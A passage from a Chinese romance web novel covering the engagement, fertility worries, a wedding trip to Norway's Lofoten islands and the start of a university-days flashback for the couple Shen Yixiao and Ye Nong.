话都说到这份上了,他竟然还不承认。 齐祯直接戳穿他:“白色出租车,黑色风衣,我没说错吧?” 沈屹骁把脸一偏,脸不红心不跳地否认:“你认错人了。” 还真是不见棺材不落泪。 齐祯掏出手机,点开相册,将那张被他不小心拍到的照片,放大,亮给他看。 “是你吗,沈总?” 如果眼神能杀人,齐祯这会儿已经被他碎尸万段。 哦不,是挫骨扬灰了。 不过让齐祯意外的是,他竟然没伸手过来抢。 “不是吗?”他瞧一眼手机,又瞧一眼面前的人,故意似的,“难道真是我认错了?” 沈屹骁就这么看着他一个人在那演,刚想赏他一记冷笑,就听—— “不然我拿去给弟妹看——” 沈屹骁一把揪住他衬衫领口,“你别太过分了。” 齐祯也不反抗,笑着看他,“承认了?” 沈屹骁松手的同时把他用力往后一推:“滚蛋!” 齐祯常年健身,底盘稳,双脚只往后退了两步,他抬手掸了掸领口:“你说你,但凡是能和你家那位扯上点关系的,你就急。” 沈屹骁冷眼瞥在他脸上,“这事你要是敢再提,别怪我真的跟你翻脸。” 大约是这五年,看多了他没有喜怒哀乐的样子,所以他现在身上的这股有气血的鲜活劲,让齐祯特别喜欢。 但是这人一旦鲜活起来,又有点讨人厌,这就让齐祯时不时的想在他的雷区里蹦跶。 不过,多年的兄弟,齐祯多多少少了解他的底线,所以他见好就收。 “找个地方坐会儿?” 偏偏沈屹骁不买他的账:“没空。” 看看,就会在他面前拿乔。 齐祯一双眼将他上下扫了两个来回,“转移点注意力,说不好就不药而愈了呢。” 沈屹骁抬脚就去踹他,“你还没完没了是吧?” 齐祯笑着躲开:“真要在这说,万一被弟妹听见,你可别怪我。” 沈屹骁:“......” 就这么不情不愿地跟他到了门口,沈屹骁耐心不足:“说完赶紧走。” 齐祯也懒得跟他周旋口舌,直白地问了:“检查结果怎么说?” 没哪个男人愿意分享这种事,哪怕是最好的兄弟。 沈屹骁一副心不在焉的语气:“好着呢。” 齐祯只当他要面子:“你知道全球有多少男人不孕不育——” 沈屹骁当即就炸了:“谁他妈不孕不育了?” 难得听他爆粗口,齐祯嘴角憋笑:“那要照你说的,什么事都没有,你干嘛不敢让你家那位知道?” 沈屹骁:“......” 真的,他现在都想把那撕碎了的检查单给粘上,然后扔他脸上。 对面,齐祯还在那苦口婆心:“这种事不要急,你俩还年轻,这婚还没结呢——” 后面的话,被“砰”的一道关门声止住。 门里侧,沈屹骁沉声警告:“婚礼前,别让我看见你!” 瞧这出息。 齐祯气笑一声:“你给我把门打开!” 别说开门,沈屹骁理都没理他。 于是没走几步远,齐祯电话打来了。 沈屹骁直接挂断。 一连三遍电话被挂断后,齐祯只能给他发微信。 是一张中医方子。 还有一个地址。 附带一行字:「一个很有名的老中医,从孟医生那儿打听到的,你如果不信,可以找人看看这方子。」 竟然还给他找中医。 看得沈屹骁气笑一声。 他看男科怎么了,看男科就一定不孕不育吗? 检查单上写得清清楚楚:精子活性正常。 可精子都活性正常,那这段时间,他为什么什么措施都没做,他家那位却一点动静都没有呢? 沈屹骁掏出烟,蹲在门口的台阶上。 烟在烟盒上磕了多少个来回,他眉心就紧了多少下。 等他回到楼上,说好等他上来的人已经睡着了。 订婚宴上的那条为她量身定做的人鱼姬已经换下,此时她身上穿的是一条浅色的丝绸睡裙。 就这么歪靠着同样浅色系的床背,看得人身心都不禁柔软起来。 不想丁点的声响打扰到她,沈屹骁去了衣帽间将身上的西装脱下,又去了次卧的浴室冲了个澡。 再回卧室,夜浓已经整个人横睡在两只枕头上。 沈屹骁偏开脸无声在笑。 五月的天,天气已经有些热了。 见她额头沁了薄薄一层汗,沈屹骁将窗户开了半扇后才将空调打开。 明明声音都很细微,可夜浓还是醒了。 沈屹骁这才坐到床边:“吵到你了?” 夜浓摇了摇头,“齐祯走了吗?” 沈屹骁轻“嗯”一声,“走了。” 他一手探到她颈子下,一手勾起她腿弯,将人从枕头上抱到床中央。 沈屹骁身上穿的也是丝绸睡衣,清清凉凉的质地很舒服,夜浓把脸在他怀里蹭了蹭。 “你是空调吗,怎么冬暖夏凉的。” 默了会儿,不见他说话,夜浓抬头看他,这才发现他眼睛略有失神。 刚想问他怎么了,突然又想起在楼下时,齐祯说的那两句莫名其妙的话。 打了个盹儿,差点把这事忘了。 可是要不要问呢? 当时他有意打断齐祯,可见是不想让她知道。 这要是问了,不是逼着他撒谎? 夜浓抱着他腰晃了晃:“早上起那么早,不困吗?” 不止今天起得早,昨天早上沈屹骁也起得很早。 明明有专业的团队过来布置后花园,可他却不放心,像个监工似的,一整天都泡在后花园里,连公司都没去。 倒是夜浓,早八晚六地上下班。 倒也不怪她,是沈屹骁不让她在家待着。 不仅如此,还明令禁止,不让她去后花园。 夜浓也成全他想送给自己的惊喜,多一步不迈,就连能看见后花园的窗户,她都不多瞟一眼。 不过在沈屹骁给她制造的惊喜里,别人能看见的,夜浓能看见,夜浓能看见的,别人却没有这份眼福。 就比如藏在气球里,沈屹骁亲手写的一句句小情话。 那是沈屹骁原本打算等到晚上,带她去后花园吃烛光晚餐的时候,给她的惊喜。谁知宴会进行到一半,夜浓母亲因为一通电话匆匆离场,惹得夜浓眼睛红了一圈。 为了哄她,沈屹骁才将这份惊喜提前。 “砰”的一声里,一个红色被叠成“心”型的纸片落在了绿色的草坪上。 沈屹骁捡起来后,晃在她面前,“是要自己看,还是老公给你念?” 当时夜浓还不知道那里写的是什么,再加上她也没心情,便让他念。 沈屹骁就那么半蹲半跪在她面前,说了三个字:“我爱你。” 夜浓当时听了一怔,“让你念那个,你干嘛......” 沈屹骁笑着看她:“念了呀。” 夜浓看着被他捏在指间的正红色的红「心」,“你都没拆。” 沈屹骁却说:“完完整整的一颗心,哪能拆。” 他点了点自己的太阳穴:“被我刻在这儿了。” 说完,他又拿过来一只气球。 依旧的一道“砰”声里,还是一枚一模一样的红「心」。 然后他说了第二句“我爱你”。 红心依旧没拆,被他捏在指间,点在心口:“这儿也刻了一遍。” 就这样,把眼眶通红的人逗笑了。 她心情好了,沈屹骁自然也身心愉悦。 谁知,却被齐祯那臭小子破坏得干干净净。 沈屹骁低头吻在她额头,又凝眸看了她许久,几度纠结后,终于还是没忍住。 “宝贝,你喜欢小朋友吗?” 八十六章 “宝贝, 你喜欢小朋友吗?” 似乎是没想到他会在今天问这样的问题。 夜浓微微一怔:“...怎、怎么这么问?” 沈屹骁故作轻松地笑了笑:“今天不是来了好几个小朋友吗,就随口问问你。” 夜浓垂下脸,摆弄着他睡衣上的纽扣:“那你呢, 你喜欢吗?” 同样的问题被她反问回来,直接把沈屹骁问愣住了。 因为他从始至终都没有想过这个问题。 这段时间以来,他脑子里想的全是,为什么没能让她怀孕。 至于喜不喜欢小朋友, 他压根就没去想过。 如今这个问题从他脑海里一过, 他第一反应就是:不喜欢。 起码现在不喜欢, 他那么迫切想要的二人世界才刚刚开始,怎么能被第二个人打扰。 可是要说不喜欢吗? 和一个未来要做母亲的人, 说他不喜欢孩子? 他是不要命了吗? 沈屹骁一点迟疑也不敢有, “喜欢!” 虽然夜浓没看见他郑重点头的动作, 但是听见了他深切的吐字。 她抬起头,满脸懵怔。 本就心虚,被她这么盯着看了半晌,沈屹骁喉结滑了好几个来回。 难道是他表情不对,被她看出口是心非了? 还是说, 反应太过强烈, 看着很假? 在他的一声试探的“宝贝”里, 夜浓眼里的怔愣被浓浓的沮丧取代,“可是我们都还没办婚礼呢......” 所以她是在担心这个? 还是故意说这种话来试探他? 沈屹骁不敢放松警惕:“九月份不就办了吗, 也没几个月了。” 他视线紧紧定在夜浓的脸上, 不敢放过她脸上一丝细微的表情, 眼看她垂下眼,沈屹骁掌心托起她脸,“还有其他什么担心吗, 别藏在心里,告诉我。” 夜浓松开轻抿的唇,几度纠结的犹豫里,她摇了摇头,声音闷闷的:“那好吧。” 那好吧? 沈屹骁在心里来来回回地琢磨着这三个字。 眼看他眼里疑惑渐深,夜浓索性不瞒他了,“其实我这段时间一直在吃避孕药。” “避孕药?” 这三个字带来的冲击力,让沈屹骁大脑“轰”的一声。 夜浓自知理亏地点了点头,“我知道我在吃之前应该跟你商量,可是不知道为什么,就是说不出口,我不是不喜欢小朋友,也不是没有怀孕的打算,就是觉得...我们还没有办婚礼,如果这个时候怀孕的话...我就穿不了婚纱了。” 原本的震惊和意外,因为她的话,全部变成了自责。 露在他眼底,扎进他骨头里。 他竟然一点都没有考虑到这些。 而他的沉默,也让夜浓心里的自责和歉意渐深。 夜浓晃了晃他的腰,“老公——” “对不起。” 想对他说的三个字突然从他嘴里说出来,夜浓微微一怔:“你、你干嘛道歉。” 不该他道歉吗? 如果他做好措施,她又怎么会吃那种伤害身体的东西。 重点是,她吃了都不告诉他,说到底,不过是想纵容他不负责任的喜好。 “这事是我没有考虑周全。”沈屹骁将她搂怀里,“药别吃了,嗯?” 夜浓点了点头:“我吃的是短效的,对身体没什么伤害的。” “是药三分毒,别掉以轻心,明天我带你去医院检查一下。” 夜浓从他怀里出来:“不用检查,吃之前我去医院问过医生的,医生还说,如果想怀孕,只要停药三到六个月就可以要宝宝了。” 三到六个月。 最长才六个月。 “六个月太短了,一年...不,两年。” 夜浓嘴巴张了张:“两、两年?” “嗯,两年。” 其实两年他都嫌短了,如果可以,他倒是想等个三年、四年,五年都行。 但是夜浓哪里知道他的小心思,还以为他是担心药物对胎儿的影响。 “不用那么久的,如果你实在不放心的话,三个月以后,我去医院检查一下——” 一想到未来有个小家伙挡在他们之间...... 沈屹骁想都不想就打断她:“就两年。” 夜浓眼里茫然:“你不是说喜欢小朋友的吗,两年的话...是不是太久了?” 不是他身体的原因导致她没有怀孕,这个消息的含金量,终于在所有顾虑和担心打消之后,开始一点点往他心头汇聚。 日影融融,他眼睛被笑意浸染得格外明亮。 “哪里久了,你刚刚不是说,我们还没有办婚礼,还没有度蜜月,还没有好好享受属于我们的二人世界。” 他低头,鼻尖蹭着她鼻尖,“你真的确定要这么早的要孩子?” 刚刚夜浓只用了婚纱做借口,却没有把心里最真实的想法告诉他,如今一件件、一桩桩,就这么经由他口说了出来。 夜浓鼻腔里一酸,委屈一股脑地涌上来:“是你刚刚说你很喜欢小朋友的,我还能怎么办!” 所以她刚刚说的,不过是在顺着他的心意? “那如果不考虑孩子呢?”沈屹骁托起她脸:“你想不想有多一些只属于我们的二人世界?” 想,当然想。 如果不是因为他的求婚,她还想着和他多过几年的恋爱时光呢。 谁知道他膝盖一跪,把她原本的计划都打乱了。 可是怎么办,当初因为她的不信任,让他苦了五年,她心里的愧疚到现在还在呢。 见她不说话,眼眶却通红,沈屹骁不敢多问了。 “那我们就先把那个小家伙放一边,等他什么时候迫不及待地想看一看这个世界了,我们再让他出来。” 说完,他把她抱怀里,亲了又亲,“知道你这段时间没怀孕,我干了件什么蠢事吗?” “蠢事?” 如今再回想,沈屹骁只觉得好笑。 他笑“嗯”一声,“我去做了检查,在那等结果的时候,我就在想,如果我身体真的有问题...你会不会不要我。” 夜浓手虚虚攥成拳,在他后背锤了一下:“你想什么呢,我又没有传宗接代的重任。” “但是你是女人,我不能剥夺你做母亲的权利。” 这一刻,夜浓突然想起一段话:都说婚姻是女人重生的第二次机会,选对人很重要。 她很幸运,她没有选错。 她选了一个骨子里就很好的人,一个事事都将她放在第一位,包容她所有的人。 他叫沈屹骁。 如果说他真的有什么‘不足’,又或者‘不好’的地方,那就是虚荣心太强了。 因为订了婚的缘故,夜浓现在只要一走进东沈集团一楼的大厅,一声声的“沈太太”就会接踵而来。 偏偏沈屹骁就喜欢在门口等她,然后搂着她腰,在一声声的“沈总、沈太太”里,带她穿过大厅。 不想被太多双眼睛关注,再加上八月的天,车停在露天停车场总是被晒得滚烫。 从公司出来之前,夜浓给沈屹骁发了短信,让他在办公室里等着不要下来。 沈屹骁答应得爽快,结果等夜浓从地下车库直上36层,黎雪却告诉她,沈总下去接她了。 这人真是,让他不要下去还下去。 结果等夜浓打电话过去,却发现他手机放在办公桌上。 没辙,夜浓只能又下去找他。 正是中午,一楼大厅人来人往,在一声声的“沈太太”的礼貌声里,夜浓走到沈屹骁身后。 肩膀被拍了一下,沈屹骁回头,看见她,他表情微微一怔:“你什么时候进去的?” 夜浓一点都不想拆穿他:“飞进去的,你没看见吗?” 沈屹骁低笑一声,暴露了自己的小心思。 “真是想不明白你,公司里的人又不是不知道我们俩的关系,你干嘛——” 后面的话被沈屹骁搂在她腰上的手收紧而止住。 “满足一下老公的虚荣心怎么了?” 夜浓:“......” 一声又一声的“沈总、沈太太”里,终于进了电梯。 “满足了吗?” 沈屹骁但笑不语。 距离订婚已经过去两个月,这期间,夜浓每周二、四来东沈吃午饭,周一、三、五,沈屹骁去莱欧找她吃午饭。 但是今天是周五。 “让我过来干嘛?” “不是说想吃小龙虾?” 夜浓表情一呆:“...你、你怎么知道?” 沈屹骁:“昨晚不小心跑你梦里去了。” 跑梦里倒不至于,只不过她昨晚在她怀里咕哝了两声,沈屹骁下意识就问她是不是渴了,结果她就应了一句:想吃小龙虾。 夜浓脸红着脸剜他一眼:“我夏天本来就喜欢吃小龙虾。” 喜欢吃小龙虾,却不喜欢剥。 就像她喜欢吃石榴,喜欢吃袖子,都不喜欢动手一样。 偏偏她的“懒”,最大程度地满足了她家这位的虚荣心。 “奇怪。”沈屹骁将给剥好的虾尾沾上汤汁递到她嘴边。 “什么?” 沈屹骁故作不解,“我不爱吃这个,但为什么喜欢剥这个呢?” 夜浓听完,突然笑了声。 在沈屹骁看向她的眼神里,夜浓提到了一人。 “有次吃小龙虾的时候,齐祯也在,你还记得他怎么说你的吗?” 他怎能不记得。 当时齐祯用无比嫌弃的语气说:因为你贱。 男人口中的「贱」和女人理解的有偏差,当时夜浓眉眼一沉:“你再骂一句试试?” 一个平时把她护在怀里的男人,突然被怀里的人反过来护着,那种滋味,沈屹骁这辈子都不会忘。 就像她肩膀上的伤。 是过去的五年里,他所有苦涩里的甜。 沈屹骁又将一条沾满汤汁的虾尾递进她嘴里。 “婚礼那天,真的想好了?” “嗯,”夜浓点了点头:“我们当初不就说好了吗?” 八十七章 在认识沈屹骁之前, 被夜浓用作手机的屏保是一张她从地理杂志上拍下来的照片。 白雪皑皑的照片里有一个红色小木屋,面朝冰天雪地的大海。 就像她的世界,孤零零的, 只有自己。 后来,沈屹骁送给她一张明信片,明信片上也有红房子,不过不是一个, 而是一排, 一连排的红房子也是面朝大海, 但是背景却不是皑皑白雪,而是被九点半的朝阳镀了一层金箔的海面。 “这是哪里呀?”夜浓问。 沈屹骁告诉她:“是挪威的罗弗敦。” 说完, 他将那张明信片举起来, 刺眼的阳光下, 明信片上的颜色逐渐暗了下来。 “怎么会——” 沈屹骁朝她轻轻“嘘”了一声:“你看。” 一抹淡淡的绿色悄然出现在了明信片上,随着明信片的背景色原来越暗,绿色的光影也越来越多。 一会儿弯曲的弧线,一会儿绚丽的光带,跳动在明信片上, 也映在夜浓深咖色的眼瞳里。 夜浓看得几乎不敢眨眼, 好像轻轻一个不小心, 眼前的画面就会消失了,许久之后, 她才回了些神, 明明那么笃定, 可声音里还是充满了不可置信。 “是极光吗?” “嗯,是极光。” “好像绿色的火焰。” 光是一张明信片,就能从她眼睛里看见如此耀眼的期待和渴望, 如果是身临其境呢? 沈屹骁问她:“想去吗?” 视线从他举着的那张明信片缓缓移到他脸上,夜浓眼睫颤了颤,“什么?” “挪威罗弗敦,”沈屹骁说:“想不想亲眼看一看那里的极光?” 挪威罗弗敦,就是夜浓手机屏保上的地方。 一个有着月光、雪山、峡湾和极光的地方,在很多人眼里,那是一个被称为欧洲天花板级别的存在,但是对夜浓来说,却是一个被极夜守护的童话世界。 可是,童话世界都是存在于幻想中的。 可面前的这个人,却好像手握一张入场券,好像她点一点头,他就可以推开那扇童话世界的大门,带她走进去一样。 夜浓怔怔地看着他,看了他很久,久到她确定自己不是在做梦。 久到沈屹骁握着她的手,将那张明信片放到她掌心。 久到他又问了一遍:“想去吗?” 是他眼里的郑重其事让夜浓点了点头:“想。” “想什么时候去?” 想立刻就去。 可是那么美的画面,应该放在最有意义的时刻吧。 见她眉眼一点点垂下,唇角渐渐上抿出弧度。 沈屹骁便懂了。 “好,那我们就那个时候去。” 没有明说,可彼此却都默契地知道,「那个时候」是什么时候。 可是后来,这份心照不宣的约定却因为两人的分手,被‘永远’地藏在了彼此的心底。 所以在夜浓离开京市的第二年,沈屹骁去学了摄影。 不是因为喜欢,而是他想把没能带她身临其境看到的极光,由他的镜头拍下来,做成一张明信片,寄给她。 而当时的初心,不是为了让她回心转意,而是他想换一种方式,去履行一辈子都无法实现的承诺。 于是两年之后,也就是去年的冬天,沈屹骁只身一人去了那个低出北极圈的地方:挪威罗弗敦。 和其他的北极之地比起来,罗弗敦的冬天不算太冷,算是全世界最温暖的极光目的地。 当时的他,一个背包,一个相机,租了一辆车,沿着E10公路向南开,到了当初他做好的攻略的第一站,达雷纳小镇。 那是一个沿海而建的渔村,因为夜浓很喜欢渔民小屋,所以那天,他的镜头里全是她爱的红房子。 之后,他还去了名字里只有一个字母「A」,一个代表着结束和重启之地的城镇。 他看着迷雾中的外岛,再次尝到了三年前,那种仿佛走到世界尽头的孤寂感。 镜头里的极光美到让人失语。 他在那个有着月光、雪山、峡湾和极光,无尽浪漫的地方待了十天,在来了又走、走了又来的一个又一个的蓝调时刻,他只身一人坐在寒风中,安静地想她。 想那时的她,在距离他八千多公里的香港,在做什么。 想那时的她,会不会因为他深到骨髓的想念,心脏出现一丝丝的异样。 想她收到那些他从当地寄出去的明信片的时候,是否会猜到是他寄去的,是否会想起当初他们未能宣之于口的约定。 也想他自己,在这趟极光之旅后,是否真的要放下。 可是他想了那么多那么多,却怎么都没有想到,在未来的不久,他和她还有再见的可能,更没有想到,在一年半之后的九月十七号,他会牵着她的手,圆梦般的踏上这座城市。 就像当初他们说的:「我们就那个时候去。」 「那个时候」就是现在,在距离他们婚礼只剩两天的九月十七号。 * “早知道那些明信片是你寄的......” 一句话还没说完,夜浓眼泪又滑了下来。 一向不喜欢在外流泪的人,从在飞机上开始,眼泪就开始止不住,如今下了飞机了,眼泪还时不时的因为他两句话往下掉。 “早知道就不跟你说了。” 把她脸上的泪痕擦干,沈屹骁才把两个行李箱放上车。 今天的夜浓,像个黏人的小尾巴,他走哪她跟哪。哪怕沈屹骁放个行李,她左手也要揪着他的衣摆。 “可是你干嘛不从京市寄给我,那样的话,我肯定就能猜到是你寄的了。” “从京市寄还有什么意义?”说着,沈屹骁把她搂怀里,“别哭了,不都过去了吗? ” 不知道就算了,知道了还怎么过去...... “你就是故意的!” 沈屹骁低低笑了声:“明明是你追着我问的。” “谁知道你学摄影也是因为我。” 何止摄影,还有雾色香水的创办。 这五年,除了工作,他做的所有事情,好像都与她脱不了关系。 “所以有没有感动一点点?” 何止是一点点。 夜浓指了指后备箱:“你那个箱子里是不是还藏了什么我不知道的?” 都到这儿了,沈屹骁也不瞒着,他点头:“结婚礼物。” 但是现在离.婚礼还有两天。 “能提前看看吗?” 沈屹骁摇头:“不能。” “小气。” 沈屹骁弯着手指在她微微噘着的嘴唇上刮了一下:“和这么小气的男人结婚,会不会后悔?” 明明是问她的话,却不给她开口的机会。 “后悔也晚了,你就这辈子啊,”沈屹骁将她搂紧在怀里:“就老老实实的,待在我这个小气的男人身边吧。” 异国他乡,不待在他身边能行吗? 上了车,夜浓问他:“我们现在去哪?” 沈屹骁说:“把上次我一个人走过的路,再带你走一遍。” 所以依旧是沿着E10公路向南开,目的地还是达雷纳小镇,那些面朝大海,或独立或成排的‘红房子’的所在地。 红屋,白窗,青顶,每一个‘红房子’的支脚都伸入海水。 “这里就是明信片上的那个地方吗?” “对。” 车子在路边停下,在满是大海特有的濡湿咸味的空气中,以海和红房子做背景,沈屹骁给她和他们拍了很多张照片。 “没想到真的能亲眼看到那张明信片里的房子。” 沈屹骁举起相机,和她满是惊喜和满足的一张脸一起入了镜头,按下快门前,他说:“不仅能亲眼看到,今天晚上,我们还要住在里面。” 之后,沈屹骁带她登上了他登过一次的雷讷布林根山,1978个台阶之后,他们一起站在了山顶,脚下是纯净又安逸的红色村庄,放眼是揉尽壮阔与野性的群岛山川。 “和你那次看到的比呢,哪个好看?” 答案不言而喻。 同样的地方,一个人来,和带着心爱的人来,那种心境可谓是两个极端。 第二天上午,他们去了Leknes附近的白沙滩。 一边是九点的朝阳,一边是皎洁的圆月,金色与银色的光辉好像将眼前的画面分割成两个完全不同的世界。 “哇,这种画面,感觉梦里都不会见到。” 不身临其境,亲眼所见,的确是连做梦都不会梦到。 第三天,也就是九月十九号。 隔着七千多公里的京市,两人的婚礼如期举行。 全幕玻璃的东沈集团总部大楼,全天二十四小时亮着一颗红‘心’。 东沈集团旗下所有酒店,婚宴酒席对外开放,只要凭一束朱丽叶玫瑰即可入场。 但是在这个比国内慢了七个小时的国家。 两人的婚礼安静且简单。 但是没有人为的布置,却有老天的惊喜。 太阳都眷顾他们这对兜兜转转还能依旧在一起的新人,今晚的活动极为频繁,一晚上竟然让他们看到了三次极光。 身临其境地感受,和只凭肉眼看到的画面是不一样的。 是震撼,是美到失语,是美到找不到一个形容词能形容出它的美。 总之,她的每一次出现,每一次变化都是独一无二的。 除了这份终于圆满的震撼外,沈屹骁还送了她另一份惊喜。 是一本相册,很厚很厚的一本相册。 但是翻开却没有照片。 沈屹骁将她,还有那本相册一起抱到了怀里。 “还记得那句反其道而行之的蓄意靠近吗?之前答应过你的,会在婚礼的当天晚上告诉你。” 夜浓低头看了眼压在她腿上沉沉的相册:“和这本相册有关吗?” “当然,一共两千三百二十张,都被我洗了出来。” 夜浓又将那本相册翻了翻,可还是一张彩色都不见,她整个人懵懵的:“在哪?” 沈屹骁点了点自己的太阳穴:“在这。” 不满一年的316天,他和她的2320张合照,都被他‘拍’成了电影,映在了记忆里。 大学 校园线, 男主视觉偏多—— - 如果非要用一个词来形容自己的家,夜浓觉得「鸡飞狗跳」这四个字再恰当不过,如果非得用两个词...... 夜浓单手托腮想了会儿, 最后指尖在手机屏幕上又打出四个字:「破碎不堪」。 “夜浓,我们去逛街,你要一起吗?” 注意力从手机屏幕上移开,夜浓扭头看向已经站在门口, 只一步就能迈出去的三个室友。 难怪一大早起来又是洗澡又是化妆的呢。 可如果是真心想让她一块儿去的话, 又怎么会在临出门的时候才问她呢? 所以夜浓如她们所愿, 摇头说一声不了,“我一会儿还有事。” “那行, 你走之前别忘了锁门。” 门关上的下一秒, 夜浓嘴角轻扬的弧度也平了下去。 这种敷衍的询问, 夜浓早已习惯,所以谈不上失落,甚至在她站起身,将椅子收进桌下的短暂功夫,这事就被她丢在了脑后。 从衣柜里随便拿了条裙子换上后, 夜浓出了门。 虽说她今天穿的是一条长裙, 但却丝毫不影响她骑上那辆上个月刚买的山地自行车。 风一吹就能扬出老远的裙摆往上提到膝盖, 再往屁股底下一坐。 五月的天,只有早晚才能感受到春的清凉, 其余时间, 就只有夏的热烈。 没骑一会儿的功夫, 夜浓额头就沁出了汗,凝成珠,滑过眉骨。 于是她踩着脚踏的速度快了, 被压在屁股下的布料偷偷滑了下来,风一吹,和她的长发一起,被扬得老远。 今天周六,赶在快中午的点进出校门的人不少。 沈屹骁不住校,平时也就上课的时候能看见他,今天能出现在这波「不少」的人里,完全是被齐祯数十个电话轰炸来的。 “我到楼下了,你下来。” 以齐祯对他的了解...... “你应该刚进校门吧?” 视线从右前方的篮球场收回来,沈屹骁冷笑了声:“你最好是有什么要紧的事——” 剩下的半截话,被强行闯入他视线的一缕鲜艳而止于嗓子眼。 夜浓今天穿的是一条色彩渐变的玫瑰粉挖肩长裙,她皮肤白,粉色更是衬得她整个人白到发光。 那种画面,就像一蓬层叠渐变的粉色玫瑰,灼然盛放在这盎然的绿意里。 刚刚转了个弯,没有树荫,为了躲避头顶的烈日,夜浓索性直起身骨快速蹬着脚踏。 车子一加速,长及脚踝的轻薄裙摆被风吹得鼓起。 沈屹骁没有给她让道,就这么站在两米多宽的窄道中间,以为自己紧锁在她脸上的视线能换来她一记眼神,然而等来的,却只有擦过他膝盖的轻盈裙摆。 以及从前面传来的闲言碎语—— “就是她,一脸的狐媚相,勾得我们班一群男生整天跑寝室楼下去等她!” “只能说你们班男生没见过世面。” “说的好像你们班的男生见过世面似的,昨天你们班的韶观远还在图书馆约人家吃饭呢!” “那你怎么不说商学院的沈屹骁呢,她要是能让沈屹骁多看她一眼,我还真就服了她了。” “你这么一说还真是,全校那么多人追她,还真没见沈屹骁有什么动静。” “你以为所有男的都那么肤浅啊,看见长的漂亮的就走不动道。” 沈屹骁:“......” 再扭头,只见那抹粉色已经转了个弯,五米一棵的金叶榆,频频闪过她的身影。 穿那么长的裙子骑车,就不怕裙摆缠住脚踏,又或者绞进车轮里? 沈屹骁垂眸笑出一声的同时,忘记从耳边拿下来的手机里传来声音。 “问你话呢,你笑什么?” 沈屹骁看了眼走在他前面的两个女生。 “韶观远,你认识吗?” 话题岔得有点远,齐祯愣了一下:“认识,怎么了?” 沈屹骁没有兜圈子:“哪个系的?” “设计学院的,怎么了?” 设计学院。 和他的商学院正好一个东南,一个西北。 难怪没见过。 见他又不出声,齐祯脾气都燥出来了,“问你话呢,到底怎么了?” “没怎么,”沈屹骁看了眼时间:“十分钟后下来。” 不似沈屹骁财政自由,齐祯父母对他的经济管控很严,所以他吃住都在学校。 沈屹骁到宿舍楼下的时候,齐祯正蹲在门口的台阶上抽烟。 “让我来什么事?” 齐祯朝他勾了勾手。 沈屹骁气笑一声:“要不要我给你算算,你这小半年从我这拿了多少钱?” 拿人手短,齐祯硬气不起来:“过年就还你。” 这句话,沈屹骁从高一听到了现在。 重点是,没有一个年,他能全数还完的。 “多少?” 齐祯伸出一根手指头。 沈屹骁都不想说他:“借钱谈恋爱,你女朋友知道吗?” 每次找他借钱都要听他一阵冷嘲热讽,真当他没脾气的? 齐祯睨他一眼,“有本事你谈一个不花钱的给我看看。” 说完他不解气,拖腔带调地“哦”了声:“差点忘了,你还是个雏。” 听听这借钱的态度。 沈屹骁也不气:“那你就找个不是雏的借你。” 说完,他身子一转。 齐祯慌忙追上来:“你看你,开个玩笑,怎么还当真了。” 说完,他自己伸手将沈屹骁口袋里的手机掏出来,“转一个,今年给你算利息。” 本金能还上就不错了,还利息。 沈屹骁接过他双手奉上的手机,随口似的提了一嘴。 “听人说,那个韶观远最近总跟在一个女孩子的屁股后,鬼鬼祟祟的——” 齐祯好笑一声,“什么叫最近,他都跟了快两年了。” 沈屹骁眉梢一抬:“两年?” “你以为?” “两年还没追到?” “你也不看他追的是谁。” 心急如焚里,齐祯就没注意他今天的反常:“你赶紧转,我下午还有事呢。” 沈屹骁点开他微信的同时,还是那副漫不经心的调子:“哪路神仙?” “夜浓,就他们系的。” 「夜浓」 沈屹骁在心里默念着这两个字,指尖的动作不自觉就停了。 “大哥,你倒是转啊!” 沈屹骁这才回了几分神,指尖几个轻点后,他嘴角提了味笑。 “不用还了。” 齐祯还以为自己听错了,“什么不用还了。” 沈屹骁背身对他,扬了扬手里的手机。 齐祯:“......” 今个的太阳打西边出来了? 不止今天的太阳打西边出来,还有第二天的太阳。 平时连上课期间都不会出现在食堂的人,在翌日,也就是星期天的早上,出现在了食堂门口。 一双又一双讶异的眼神里,沈屹骁时不时地抬眼往南看上一眼。 从七点看到九点,没看到人,他也不干等着,直接就往南面的女生宿舍方向走。 女生宿舍好几栋楼,他也不知道她会从哪栋楼里出来,就这么来来回回地转悠着,一直转到下午一点。 不过等来的不是他想看到的人,而是齐祯的电话。 “我听王灏说你在学校?” 沈屹骁站在一株金叶榆下,张口就来:“不在。” “我就说嘛,大周末的你怎么可能——” 不等他说完,贴在耳边的手机就被沈屹骁挂断了。 沈屹骁视线追着从西走过来的那张人脸,双脚不由自主地迎了上去。 越来越近,越来越近,近到他的影子已经盖住她的脚了,结果却见她头都不抬,双脚一转。 沈屹骁:“......” 提前想好的打招呼的话就这么哽在了嗓子眼,一直到那高挑纤瘦的背影走远了五六米,沈屹骁才回过神来。 他低头,不可置信的眼神打量着自己。 他是有多普通,竟然能被她忽视成这样? 他不相信似的,转身追上去,隔着两三步的距离,就这么跟在她身后。 一直到踩上食堂门口的台阶。 “你小子!” 是齐祯,他一双眼瞪得老大:“你不是说你没在学校的吗?” 沈屹骁双脚虽然停在台阶上,但视线还追着已经走进食堂大门的那记背影。 “跟你说话呢,你发什么愣?” 沈屹骁看向挡在他面前的人,“有事?” 齐祯都听笑了:“这话应该我问你吧!” 沈屹骁给了他一记大惊小怪的眼神,身子一转,踩上台阶,走进食堂大门。 齐祯整个人怔在原地,好一会儿才反应过来,等他追进去,却不见人了。 沈屹骁坐在最靠近门边的餐桌前,就这么眼睁睁地看着齐祯追上二楼,他嘴角无声抿出笑痕后,扭头看向打饭窗口。 还是裙子,不过却是一条很贴身的牛仔短裙。 和昨天那条鲜艳的粉玫瑰色相比,今天的白T配牛仔裙将她身上的妩媚气收敛了不少。 就是那张不施粉黛也依旧朝霞映雪的脸,让人忽视不了。 沈屹骁不禁蹙眉。 都三年了,这三年里,他怎么就从来没见过她呢。 是他出现在学校的时间太少了? “沈屹骁!” 炸如天雷的声音从台阶上传来,让食堂里的人都循声看过去。 包括拿着饭盒从窗口转过身来的夜浓。 沈屹骁? 是那个除了上课,从不在学校多逗留一秒的沈屹骁? 可是今天不是星期天吗,这位大少爷怎么来食堂了? 像是无意识,她视线不带任何目标性地往前一扫,好像所有人都入了她的眼,又好像什么都没看进去。 直到她拿着饭盒走到门口,才发觉有一双视线紧盯在自己的身上。 夜浓扭头看过去,视线就这么和那双泼了墨般的一双眼撞上了。 那是一双极具侵略性的眼神,像是猛兽紧盯着自己的猎物,好像下一秒就要将她撕碎继而吞吃入腹似的。 看得夜浓不禁蹙眉。 她是哪里得罪了这位大少爷了? 大学 就在夜浓眉心越蹙越紧, 